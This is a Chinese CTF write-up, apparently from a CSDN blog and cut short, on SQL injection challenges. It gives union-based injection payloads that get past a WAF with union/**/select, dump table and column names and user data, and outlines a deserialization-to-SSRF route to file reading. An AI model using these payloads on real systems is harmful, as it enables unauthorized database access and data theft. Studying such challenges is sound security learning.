SQL注入类型CTF题目总结

最新推荐文章于 2024-04-01 21:31:59 发布

VIP文章 Lelouch_E

最新推荐文章于 2024-04-01 21:31:59 发布

阅读量1.3k

点赞数

分类专栏： CTF 文章标签：安全

本文链接：https://blog.csdn.net/Lelouch_E/article/details/110142320

版权

union 注入

注册后扫描目录发现：/robots.txt

测试发现/view.php?no=1 参数存在SQL注入，但是union select被waf拦截了

尝试绕过

爆表名

/view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()#

爆列名

/view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database()#

爆字段

/view.php?no=-1 union/**/select 1,data,3,4  from users#

结果是一个序列化的值

大概的思路为，我们输入的信息被保存为序列化，读取的时候会从数据库中取出并反序列化，然后显示在blog界面。、

function get($url)获取的blog连接，如果连接失败就404，否则读取文件信息。

所以我们可以通过反序列化来实现ssrf读取任意文件，构造我们想要的路径，然后为了绕过正则，不从注册登录的地方下手，直接人为构造联合查询返回语句，data字段在第四个位置。

/view.php?no

关注